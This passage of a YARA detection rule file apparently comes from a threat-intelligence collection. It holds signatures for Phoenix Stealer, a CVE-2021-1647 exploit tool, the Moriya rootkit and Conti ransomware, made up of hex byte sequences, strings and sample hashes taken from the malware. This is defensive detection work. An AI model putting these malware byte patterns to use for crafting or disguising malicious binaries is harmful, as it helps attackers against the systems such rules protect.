		$s5 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 49 42 43 67 4b 43 41 51 45 41 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 400KB and 4 of them
}

rule ARKBIRD_SOLG_MAL_Phoenix_Stealer_Jun_2021_1 : FILE
{
	meta:
		description = "Detect the Phoenix Stealer"
		author = "Arkbird_SOLG"
		id = "8c9df216-cbfe-51f3-a6d7-cfeb99fafbe0"
		date = "2021-11-01"
		modified = "2021-11-01"
		reference = "https://twitter.com/3xp0rtblog/status/1455111070566207493/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-01/Phoenix_Stealer/MAL_Phoenix_Stealer_Jun_2021_1.yara#L1-L20"
		license_url = "N/A"
		logic_hash = "989c2518a42201559265ce4b974b35df5c4b8365e53f789fc124ee969e747c87"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "5bbfeee67b9b087ed228eccdacd4a7e71d40f7f96ad869903e02d9c3b02adbe5"
		hash2 = "34f78f4028c51f6340c1f4846b65252fa6686ba0a5ab8ebc35c737a8960ba43e"
		hash3 = "e51de8c43034fafaa49f81e9cc955c0cf60dc9684f28d8c355baf0724710de1f"
		tlp = "White"
		adversary = "-"
	strings:
		$s1 = { 6a 16 58 0f be c8 88 85 b0 fe ff ff c7 85 d8 fe ff ff 42 73 7a 73 c7 85 dc fe ff ff 71 64 77 7b c7 85 e0 fe ff ff 38 73 6e 73 c6 85 e4 fe ff ff 00 e8 aa 73 ff ff 89 85 94 }
		$s2 = "UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s" ascii
		$s3 = { b8 c9 11 47 00 e8 c3 c5 01 00 68 f8 d7 47 00 33 db 53 53 ff 15 cc 20 47 00 53 50 89 85 d0 fc ff ff ff 15 d0 20 47 00 85 c0 0f 85 92 02 00 00 6a 01 ff 15 8c 22 47 00 84 c0 79 f4 53 e8 e2 aa 00 00 50 e8 1e 98 00 00 8b 35 84 22 47 00 8d 85 ec fe ff ff 59 59 50 53 53 6a 1c 53 ff d6 8d 8d ec fe ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 ec fe ff ff 51 50 b9 f0 5b 48 00 e8 bf 0e 00 00 8d 85 e8 fd ff ff 50 68 04 01 00 00 ff 15 40 20 47 00 8d 8d e8 fd ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 e8 fd ff ff 51 50 b9 08 5c 48 00 e8 89 0e 00 00 8d 85 e4 fc ff ff 50 53 53 6a 1a 53 ff d6 8d 8d e4 fc ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 e4 fc ff ff 51 50 b9 90 5b 48 00 e8 57 0e 00 00 8b fb 89 9d dc fc ff ff 8b f3 89 bd d4 fc ff ff 89 b5 d8 fc ff ff 83 65 fc 00 33 c9 6a 16 5a 41 e8 71 05 ff ff 8b cf 89 85 e0 fc }
		$s4 = { 6a 01 ff 15 98 22 47 00 85 c0 74 5d 6a 00 ff 15 a0 22 47 00 85 c0 74 51 56 6a 01 ff 15 94 22 47 00 8b f0 85 f6 74 3b 56 ff 15 38 21 47 00 8b d0 85 d2 74 27 8b ca 57 8d 79 01 8a 01 41 84 c0 75 f9 2b cf 6a 03 51 8b 0d 6c 72 48 00 52 ba 58 d7 47 00 e8 95 1b fe ff 83 c4 0c 5f 56 ff 15 64 21 47 00 }
		$s5 = { 81 ec 14 02 00 00 a1 0c 50 48 00 33 c5 89 45 fc 53 56 8b d9 be 19 27 00 00 57 8b 7d 0c 83 fb ff 75 0c e8 bb eb ff ff 89 37 89 47 04 eb 17 ff 75 08 52 53 ff 15 bc 22 47 00 85 c0 8b cf 0f 95 c2 e8 b8 fe ff ff e8 98 eb ff ff 8b 4f 04 8b 49 04 3b 48 04 75 08 81 3f 34 27 00 00 74 20 e8 80 eb ff ff 8b 4f 04 8b 49 04 3b 48 04 0f 85 b9 00 00 00 81 3f 33 27 00 00 0f 85 ad 00 00 00 83 fb ff 75 0c e8 5b eb ff ff 89 37 e9 99 00 00 00 33 c0 89 9d f8 fd ff ff 40 89 9d fc fe ff ff 89 85 f4 fd ff ff 89 85 f8 fe ff ff 8d 85 f8 fe ff ff 6a 00 50 8d 85 f4 fd ff ff 50 6a 00 8d 43 01 50 ff 15 d8 22 47 00 8b f0 8b cf 85 f6 0f 98 c2 e8 2a fe ff ff 85 f6 78 53 83 a5 f0 fd ff ff 00 8d 85 ec fd ff ff 50 8d 85 f0 fd ff ff c7 85 ec fd ff ff 04 00 00 00 50 68 07 10 00 00 68 ff ff 00 00 53 ff 15 b0 22 47 00 8b f0 8b cf 85 f6 0f 95 c2 e8 e8 fd ff }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 80KB and 4 of ( $s* )
}

rule ARKBIRD_SOLG_EXP_CVE_2021_1647_Apr_2021_1 : CVE_2021_1647 FILE
{
	meta:
		description = "Detect CVE-2021-1647 tool "
		author = "Arkbird_SOLG"
		id = "c4c14d22-adf8-51b1-b898-7e253447824f"
		date = "2021-05-04"
		modified = "2021-05-05"
		reference = "-"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-04/CVE-2021-1647/EXP_CVE_2021_1647_Apr_2021_1.yara#L1-L18"
		license_url = "N/A"
		logic_hash = "58f16973f68b1b792f6f1575b6a3f386493d033767ee97e48a33044e3ddc3426"
		score = 75
		quality = 75
		tags = "CVE-2021-1647, FILE"
		hash1 = "6e1e9fa0334d8f1f5d0e3a160ba65441f0656d1f1c99f8a9f1ae4b1b1bf7d788"
		hash2 = "9eaea8a56c47524f6d6b2e2bb72d035c1aa782a4f069ef9df92a0af5c6ee612b"
		hash3 = "db0e53c9db41d4de21f4bbf1f60d977f5d935239d3fce8b902e8ef0082796cc7"
		hash4 = "24d9ff44affea06435829507e8e6cb4b659468aa2af510031ed963caf5a6d77a"
		tlp = "Green"
		adversary = "-"
	strings:
		$seq1 = { 83 7d ec 01 0f 8e fe 76 ff ff 83 45 f4 01 83 7d f4 01 0f 8e e4 76 ff ff 8b 45 e4 89 04 24 e8 12 74 ff ff 83 ec 04 a1 [2] 01 b1 85 c0 75 0e 8b 45 e4 89 04 24 e8 fb 73 ff ff 83 ec 04 a1 28 ?? 01 b1 c7 44 24 04 00 00 00 00 c7 04 24 00 00 00 00 ff d0 83 ec 08 b8 00 00 00 00 c9 c2 04 00 55 89 e5 83 ec 10 c7 45 f4 00 ?? 01 70 8b 45 08 83 e8 01 a3 70 ?? 01 b1 c7 05 74 ?? 01 b1 00 00 00 00 c7 05 a0 ?? 02 b1 00 00 00 00 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 }
		$seq2 = { a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 75 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc c7 45 f8 00 00 00 00 eb 19 8b 45 f8 05 e2 ff ff 7f 8d 14 00 8b 45 fc 01 d0 66 c7 00 01 00 83 45 f8 01 83 7d f8 3b 7e e1 8b 45 fc }
	condition:
		filesize > 10KB and all of them
}

rule ARKBIRD_SOLG_MAL_Moriya_May_2021_1 : FILE
{
	meta:
		description = "Detect Moriya rootkit used in the TunnelSnake operation"
		author = "Arkbird_SOLG"
		id = "6a78ddc0-b39f-5aec-9c54-980854173abf"
		date = "2020-05-07"
		modified = "2021-05-26"
		reference = "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-26/Moriya/MAL_Moriya_May_2021_1.yara#L1-L27"
		license_url = "N/A"
		logic_hash = "f73049f261428c8921a2c8a86fb5d242719e5dc9f30a5c58e86be1a79d84a42d"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "3eda93de4a1e7a35c040fad914a4885d079ffc3c1362153b74e10ff9121de22b"
		hash2 = "d620f9c32adc39b0632f22ec6a0503bf906fd1357f4435463fbb4b422634a536"
		tlp = "White"
		adversary = "Chinese APT Group"
	strings:
		$seq1 = { 4c 8d 05 13 10 00 00 ff 15 95 12 00 00 48 8d 15 36 10 00 00 48 8d 4d c0 ff 15 fc 12 00 00 48 8d 15 65 10 00 00 48 8d 4d d0 ff 15 eb 12 00 00 48 8d 05 cc 23 00 00 41 b9 22 00 00 00 48 89 44 24 30 4c 8d 45 c0 c6 44 24 28 00 33 d2 83 64 24 20 00 48 8b cb ff 15 f0 11 00 00 33 d2 41 8b ce 8b f8 85 c0 79 09 4c 8d 05 6e }
		$seq2 = { 4c 8d 05 85 10 00 00 ff 15 27 12 00 00 48 8b 05 80 23 00 00 48 8d 55 c0 48 8d 4d d0 83 48 30 04 ff 15 be 11 00 00 e8 c5 01 00 00 33 d2 41 8b ce 85 c0 79 0c }
		$seq3 = { 33 db 48 8b 74 24 30 4c 8b 7c 24 38 48 8b 7c 24 40 4c 8b 64 24 48 4d 8b ec 48 8d 4c 24 58 ff 15 b7 1c 00 00 48 8b 46 10 49 89 44 24 f8 48 8b 46 08 49 89 45 f0 41 80 65 bb 0f 8a 46 18 24 0f 41 08 45 bb 4c 8b 4e 08 }
		$seq4 = { 48 83 64 24 58 00 ba 44 5c 00 00 c7 44 24 50 79 00 00 00 41 b9 76 00 00 00 c7 44 24 48 78 6f 00 00 41 b8 69 72 00 00 c7 44 24 40 72 70 00 00 c7 44 24 38 69 00 00 00 c7 44 24 30 73 6e 00 00 c7 44 24 28 5c 00 00 00 c7 44 24 20 72 65 00 00 e8 03 f6 ff ff 48 8d 55 80 48 8d 4c 24 70 ff 15 74 17 00 00 48 8d 05 2d 28 00 00 45 33 c9 48 89 44 24 38 45 33 c0 48 8b 05 eb 16 00 00 48 83 64 24 30 00 c6 44 24 28 00 41 8d 51 40 48 8b 08 48 89 4c 24 20 48 8d 4c 24 70 ff 15 d9 16 00 00 85 c0 78 31 48 8b 0d ee 27 00 00 48 8b 81 e0 00 00 00 48 89 05 d8 27 00 00 48 8d 05 19 f7 ff ff 87 81 e0 00 00 00 48 8b 0d cc 27 00 00 ff 15 c6 16 00 00 33 c0 48 8b 4d 00 48 33 cc e8 58 0b 00 00 48 81 c4 10 01 00 }
		$seq5 = { 40 55 53 56 57 41 56 48 8d ac 24 40 ff ff ff 48 81 ec c0 01 00 00 48 8b 05 47 1e 00 00 48 33 c4 48 89 85 b8 00 00 00 48 83 64 24 38 00 49 8b d8 48 83 64 24 50 00 48 8b fa 48 8b f1 33 d2 41 b8 c8 00 00 00 48 8d 4c 24 60 4d 8b f1 e8 0b 06 00 00 33 c0 48 8d 4d 30 0f 57 c0 48 89 85 b0 00 00 00 33 d2 0f 11 85 90 00 00 00 44 8d 40 58 0f 11 85 a0 00 00 00 e8 e2 05 00 00 0f 10 07 48 83 64 24 20 00 48 8d 05 72 f8 ff ff 48 89 44 24 40 48 8d 54 24 28 48 8d 05 81 fd ff ff 4d 8b c6 48 8b cb 48 89 44 24 48 f3 0f 7f 44 24 28 e8 13 05 00 00 8b d8 85 c0 0f 88 da 00 00 00 0f 10 07 48 8b 0d f7 1f 00 00 48 8d 05 30 0a 00 00 45 33 c9 48 89 45 40 f3 0f 7f 45 30 45 33 c0 48 8d 55 30 0f 10 06 48 89 45 48 f3 0f 7f 45 70 e8 22 05 00 00 8b d8 85 c0 0f 88 93 00 00 00 0f 10 06 83 65 c0 00 48 8d 05 14 0a 00 00 0f 10 0d 5d 0f 00 00 83 a5 a0 00 00 00 00 48 8d 54 24 60 48 8b 0d 9a 1f 00 00 45 33 c9 f3 0f 7f 45 a0 48 89 44 24 70 45 33 c0 0f 10 07 48 89 44 24 78 48 8d 85 90 00 00 00 48 89 45 d8 48 8d 44 24 20 f3 0f 7f 45 e4 c7 45 e0 03 50 00 00 0f 10 05 ff 0e 00 00 c7 45 d0 01 00 00 00 f3 0f 7f 8d 90 00 00 00 c7 85 a8 00 00 00 00 01 00 00 f3 0f 7f 45 b0 48 89 85 b0 00 00 00 e8 91 04 00 00 8b d8 85 c0 79 08 41 8b 0e e8 35 04 00 00 8b c3 48 8b 8d b8 00 00 00 48 33 cc e8 96 02 00 00 48 81 c4 c0 01 00 00 41 5e 5f 5e 5b }
		$s1 = "Moriya : NotifyFunction\n" fullword ascii
		$s2 = "Moriya Filter" fullword wide
		$s3 = "Moriya : DeviceControlDispatch!\n" fullword ascii
		$s4 = "Moriya : Waiting...\n" fullword ascii
		$s5 = "Moriya : WriteDispatch!\n" fullword ascii
		$s6 = { 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 4d 00 6f 00 72 00 69 00 79 00 61 00 53 00 74 00 72 00 65 00 61 00 6d 00 57 00 61 00 74 00 63 00 68 00 6d 00 65 00 6e }
		$s7 = { 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 4d 00 6f 00 72 00 69 00 79 00 61 00 53 00 74 00 72 00 65 00 61 00 6d 00 57 00 61 00 74 00 63 00 68 00 6d 00 65 00 6e }
		$s8 = "Moriya start\n" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 6KB and ( 3 of ( $seq* ) or 6 of ( $s* ) )
}

rule ARKBIRD_SOLG_MAL_Moriya_May_2021_2 : FILE
{
	meta:
		description = "Detect Moriya rootkit used in the TunnelSnake operation"
		author = "Arkbird_SOLG"
		id = "25cecff1-94f9-5e8d-8758-9b891e9d7373"
		date = "2020-05-26"
		modified = "2021-05-27"
		reference = "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-26/Moriya/MAL_Moriya_May_2021_2.yara#L1-L22"
		license_url = "N/A"
		logic_hash = "11ef00940604c3337b1c8c00903297343cfd4e8f3899b949d58e4203ab68d3fd"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "ce21319bd21f76ab0f188a514e8ab1fe6f960c257475e45a23d11125d78df428"
		tlp = "White"
		adversary = "Chinese APT Group"
	strings:
		$seq1 = { 8b 35 c4 30 40 00 8d 45 dc 68 92 24 40 00 50 ff d6 68 cc 24 40 00 8d 45 e4 50 ff d6 68 58 42 40 00 57 57 6a 22 8d 45 dc 50 57 53 ff 15 5c 30 40 00 8b f0 85 f6 0f 88 0a ff ff ff a1 58 42 40 00 83 48 1c 04 8d 45 dc 50 8d 45 e4 50 ff 15 60 30 40 00 e8 b2 00 00 00 }
		$seq2 = { 68 3c 24 40 00 50 ff 15 c4 30 40 00 8d 85 d8 fe ff ff 50 ff 15 bc 30 40 00 85 c0 74 1b 8d 8d e0 fe ff ff 51 ff d0 8b 8d e4 fe ff ff 8b 85 e8 fe ff ff 0f b7 5d f4 eb 28 53 8d 85 cc fe ff ff 50 8d 85 d4 fe ff ff 50 8d 85 d0 fe ff ff 50 ff 15 ac 30 40 00 8b 8d d0 fe ff ff 8b 85 d4 fe ff ff c1 e1 08 0f b6 c0 0b c1 0f b6 cb }
		$seq3 = { 8b 75 c0 8d 45 cc 50 ff 15 94 30 40 00 8b 5d c8 8b 43 0c 8b 55 bc 89 42 20 8b 43 08 89 42 1c 80 62 03 0f 8a 43 10 24 0f 08 42 03 8b 4b 08 85 c9 74 30 80 7e 24 00 74 06 f6 43 10 20 75 17 8b 46 18 85 c0 78 0a f6 43 10 40 75 0a 85 c0 79 20 f6 43 10 80 74 1a ff 73 0c 56 ff 75 b4 ff d1 8b f8 eb 0d 80 7e 21 00 74 07 8b 46 60 80 48 03 01 68 74 6e 68 00 53 ff 15 b4 30 40 00 }
		$seq4 = { 6a 79 68 78 6f 00 00 68 72 70 00 00 6a 69 68 73 6e 00 00 6a 5c 68 72 65 00 00 6a 76 68 69 72 00 00 68 44 5c 00 00 50 e8 a2 f8 ff ff 83 c4 30 8d 85 7c ff ff ff 50 8d 85 6c ff ff ff 50 ff 15 c4 30 40 00 a1 88 30 40 00 68 34 42 40 00 56 56 ff 30 8d 85 6c ff ff ff 56 56 6a 40 50 ff 15 90 30 40 00 }
		$seq5 = { 55 8b ec 81 ec 28 01 00 00 a1 04 40 40 00 33 c5 89 45 fc 8b 45 08 53 8b 5d 10 56 8b 75 0c 57 89 85 e8 fe ff ff 8d 7d 88 8b 45 14 6a 07 89 85 e4 fe ff ff 33 c0 59 f3 ab 33 ff 89 b5 d8 fe ff ff 68 94 00 00 00 8d 85 f0 fe ff ff 89 bd ec fe ff ff 57 50 e8 48 03 00 00 6a 06 89 7d e0 33 c0 59 8d 7d e4 f3 ab 33 ff 8d 45 a8 6a 38 57 50 89 7d a4 e8 2a 03 00 00 89 bd dc fe ff ff 8d 45 84 89 bd e0 fe ff ff 83 c4 18 89 bd dc fe ff ff 89 bd e0 fe ff ff 8d 7d 84 a5 ff b5 e4 fe ff ff 50 a5 53 a5 a5 c7 45 98 68 1b }
		$s1 = "\\Device\\MoriyaStreamWatchmen" fullword wide
		$s2 = "Moriya Filter" fullword wide
		$s3 = "Moriya Callout" fullword wide
		$s4 = "\\DosDevices\\MoriyaStreamWatchmen" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 6KB and ( 3 of ( $seq* ) or 2 of ( $s* ) )
}

rule ARKBIRD_SOLG_RAN_Conti_Dec_2021_1 : FILE
{
	meta:
		description = "Detect Conti ransomware (v3)"
		author = "Arkbird_SOLG"
		id = "efa65b86-95d7-55fd-b98a-7b3c747a671c"
		date = "2021-12-16"
		modified = "2021-12-16"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-16/RAN_Conti_Dec_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "038ad0c7ffcabcaf85de1adadf8a386063f96d5cd0e348a3cea4ea3b7b10fe70"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "a05c8129e607c6d0976d79f69c6a020d15767a9ef3a9c9f1570c5193a7b5b76b"
		hash2 = "3125aa67fc6e09a00aad39e0eb8024b849d54de353b1a45b5297d4c5d5e87941"
		hash3 = "03597628e999d791f4cc442328024235db9a929467a62ef0a00c91a76161f0e1"
		tlp = "white"
		adversary = "RAAS"
	strings:
		$s1 = { 81 ec 78 0b 00 00 c6 45 c4 00 c6 45 c5 48 c6 45 c6 45 c6 45 c7 64 c6 45 c8 45 c6 45 c9 46 c6 45 ca 45 c6 45 cb 46 c6 45 cc 45 53 c6 45 cd 45 bb 7f 00 00 00 c6 45 ce 45 8a 45 c5 80 7d c4 00 56 57 8b f9 75 2c 33 f6 66 0f 1f 44 00 00 8a 44 35 c5 b9 45 00 00 00 0f b6 c0 2b c8 6b c1 1b 99 f7 fb 8d 42 7f 99 f7 fb 88 54 35 c5 46 83 fe 0a 72 dc 8d 45 c5 89 85 88 f4 ff ff c6 45 b8 00 c6 45 b9 65 c6 45 ba 32 c6 45 bb 45 c6 45 bc 32 c6 45 bd 43 c6 45 be 32 c6 45 bf 6d c6 45 c0 32 c6 45 c1 32 c6 45 c2 32 8a 45 b9 80 7d b8 00 75 29 33 f6 8a 44 35 b9 b9 32 00 00 00 0f b6 c0 2b c8 8d 04 49 c1 e0 03 99 f7 fb 8d 42 7f 99 f7 fb 88 54 35 b9 46 83 fe 0a 72 d9 8d 45 b9 89 85 8c f4 ff ff 8d 8d 34 f7 ff ff c6 85 34 f7 ff ff 00 c6 85 35 f7 ff ff 6d c6 85 36 f7 ff ff 11 c6 85 37 f7 ff ff 54 c6 85 38 f7 ff ff 11 c6 85 39 f7 ff ff 58 c6 85 3a f7 ff ff 11 c6 85 3b f7 ff ff 58 c6 85 3c f7 ff ff 11 c6 85 3d f7 ff ff 5a c6 85 3e f7 ff ff 11 c6 85 3f f7 ff ff 56 c6 85 40 f7 ff ff 11 c6 85 41 f7 ff ff 11 c6 85 42 f7 ff ff 11 8a 85 35 f7 ff ff e8 e2 a2 00 00 89 85 90 f4 ff ff c6 85 c4 f8 ff ff 00 c6 85 c5 f8 ff ff 18 c6 85 c6 f8 ff ff 0c c6 85 c7 f8 ff ff 57 c6 85 c8 f8 ff ff 0c c6 85 c9 f8 ff ff 52 c6 85 ca f8 ff ff 0c c6 85 cb f8 ff ff 52 c6 85 cc f8 ff ff 0c c6 85 cd f8 ff ff 10 c6 85 ce f8 ff ff 0c c6 85 cf f8 ff ff 52 c6 85 d0 f8 ff ff 0c c6 85 d1 f8 ff ff 0c c6 85 d2 f8 ff ff 0c 8a 85 c5 f8 ff ff 80 bd c4 f8 ff ff 00 75 2a 33 c9 66 90 8a 84 0d c5 f8 ff ff 0f b6 c0 83 e8 0c 6b c0 19 99 f7 fb 8d 42 7f 99 f7 fb 88 94 0d c5 f8 ff ff 41 83 f9 0e 72 da 8d 85 c5 f8 ff ff 89 85 94 f4 ff ff c6 85 04 f9 ff ff 00 c6 85 05 f9 ff ff 74 c6 85 06 f9 ff ff 4d c6 85 07 f9 ff ff 23 c6 85 08 f9 ff ff 4d c6 85 09 f9 ff ff 72 c6 85 0a f9 ff ff 4d c6 85 0b f9 ff ff 72 c6 85 0c f9 ff ff 4d c6 85 0d f9 ff ff 5a c6 85 0e f9 ff ff 4d c6 85 0f f9 ff ff 42 c6 85 10 f9 ff ff 4d c6 85 11 f9 ff ff 4d c6 85 12 f9 ff ff 4d 8a 85 05 f9 ff ff 80 bd 04 f9 ff ff 00 75 2c 33 c9 0f 1f 40 00 8a 84 0d 05 f9 ff ff 0f b6 c0 83 e8 4d 6b c0 25 99 f7 fb 8d 42 7f 99 f7 fb 88 94 0d 05 f9 ff ff 41 83 f9 0e 72 da 8d 85 05 f9 ff ff 89 85 98 f4 ff ff c6 85 f4 f8 ff ff 00 c6 85 f5 f8 ff ff 46 c6 85 f6 f8 ff ff 02 c6 85 f7 f8 ff ff 2e c6 85 f8 f8 ff ff 02 c6 85 f9 f8 ff ff 3c c6 85 fa f8 ff ff 02 c6 85 fb f8 ff ff 3c c6 85 fc f8 ff ff 02 c6 85 fd f8 ff ff 43 c6 85 fe f8 ff ff 02 c6 85 }
		$s2 = { c7 85 b8 f7 ff ff 00 00 00 00 8d 8d 60 f7 ff ff c6 85 60 f7 ff ff 00 c6 85 61 f7 ff ff 36 c6 85 62 f7 ff ff 7a c6 85 63 f7 ff ff 29 c6 85 64 f7 ff ff 7a c6 85 65 f7 ff ff 29 c6 85 66 f7 ff ff 7a c6 85 67 f7 ff ff 69 c6 85 68 f7 ff ff 7a c6 85 69 f7 ff ff 37 c6 85 6a f7 ff ff 7a c6 85 6b f7 ff ff 74 c6 85 6c f7 ff ff 7a c6 85 6d f7 ff ff 0f c6 85 6e f7 ff ff 7a c6 85 6f f7 ff ff 75 c6 85 70 f7 ff ff 7a c6 85 71 f7 ff ff 1d c6 85 72 f7 ff ff 7a c6 85 73 f7 ff ff 00 c6 85 74 f7 ff ff 7a c6 85 75 f7 ff ff 7a c6 85 76 f7 ff ff 7a 8a 85 61 f7 ff ff e8 e7 bb 00 00 6a 07 68 8f cf af 70 ba 19 00 00 00 8b f0 e8 04 db ff ff 83 c4 08 56 ff d0 8b 8d b4 f7 ff ff 8d b5 b8 f7 ff ff 56 ff b5 a8 f7 ff ff 8b 11 6a 00 6a 00 6a 00 6a 00 6a 00 50 51 ff 52 0c 8b f0 c7 85 8c f7 ff ff d6 00 6a 00 8b 85 8c f7 ff ff 99 f7 fb 85 d2 74 50 8b 8d 8c f7 ff ff 8b 85 b8 f7 ff ff 83 c0 02 03 c1 89 85 8c f7 ff ff 8b 85 8c f7 ff ff 25 03 00 00 80 79 05 48 83 c8 fc 40 0f 85 50 01 00 00 66 90 ff 85 8c f7 ff }
		$s3 = { 75 f5 88 8d 50 f6 ff ff c6 85 51 f6 ff ff 48 c6 85 52 f6 ff ff 20 c6 85 53 f6 ff ff 5e c6 85 54 f6 ff ff 20 c6 85 55 f6 ff ff 7d c6 85 56 f6 ff ff 20 c6 85 57 f6 ff ff 39 c6 85 58 f6 ff ff 20 c6 85 59 f6 ff ff 33 c6 85 5a f6 ff ff 20 c6 85 5b f6 ff ff 2a c6 85 5c f6 ff ff 20 c6 85 5d f6 ff ff 33 c6 85 5e f6 ff ff 20 c6 85 5f f6 ff ff 4d c6 85 60 f6 ff ff 20 c6 85 61 f6 ff ff 6e c6 85 62 f6 ff ff 20 c6 85 63 f6 ff ff 48 c6 85 64 f6 ff ff 20 c6 85 65 f6 ff ff 4d c6 85 66 f6 ff ff 20 c6 85 67 f6 ff ff 1b c6 85 68 f6 ff ff 20 c6 85 69 f6 ff ff 3a c6 85 6a f6 ff ff 20 c6 85 6b f6 ff ff 52 c6 85 6c f6 ff ff 20 c6 85 6d f6 ff ff 47 c6 85 6e f6 ff ff 20 c6 85 6f f6 ff ff 09 c6 85 70 f6 ff ff 20 c6 85 71 f6 ff ff 14 c6 85 72 f6 ff ff 20 c6 85 73 f6 ff ff 7d c6 85 74 f6 ff ff 20 c6 85 75 f6 ff ff 49 c6 85 76 f6 ff ff 20 c6 85 77 f6 ff ff 74 c6 85 78 f6 ff ff 20 c6 85 79 f6 ff ff 1f c6 85 7a f6 ff ff 20 c6 85 7b f6 ff ff 52 c6 85 7c f6 ff ff 20 c6 85 7d f6 ff ff 71 c6 85 7e f6 ff ff 20 c6 85 7f f6 ff ff 5f c6 85 80 f6 ff ff 20 c6 85 81 f6 ff ff 1f c6 85 82 f6 ff ff 20 c6 85 83 f6 ff ff 54 c6 85 84 f6 ff ff 20 c6 85 85 f6 ff ff 33 c6 85 86 f6 ff ff 20 c6 85 87 f6 ff ff 5e c6 85 88 f6 ff ff 20 c6 85 89 f6 ff ff 44 c6 85 8a f6 ff ff 20 c6 85 8b f6 ff ff 0f c6 85 8c f6 ff ff 20 c6 85 8d f6 ff ff 52 c6 85 8e f6 ff ff 20 c6 85 8f f6 ff ff 74 c6 85 90 f6 ff ff 20 c6 85 91 f6 ff ff 13 c6 85 92 f6 ff ff 20 c6 85 93 f6 ff ff 33 c6 85 94 f6 ff ff 20 c6 85 95 f6 ff ff 5e c6 85 96 f6 ff ff 20 c6 85 97 f6 ff ff 52 c6 85 98 f6 ff ff 20 c6 85 99 f6 ff ff 47 c6 85 9a f6 ff ff 20 c6 85 9b f6 ff ff 31 c6 85 9c f6 ff ff 20 c6 85 9d f6 ff ff 5b c6 85 9e f6 ff ff 20 c6 85 9f f6 ff ff 1b c6 85 a0 f6 ff ff 20 c6 85 a1 f6 ff ff 39 c6 85 a2 f6 ff ff 20 c6 85 a3 f6 ff ff 33 c6 85 a4 f6 ff ff 20 c6 85 a5 f6 ff ff 2a c6 85 a6 f6 ff ff 20 c6 85 a7 f6 ff ff 33 c6 85 a8 f6 ff ff 20 c6 85 a9 f6 ff 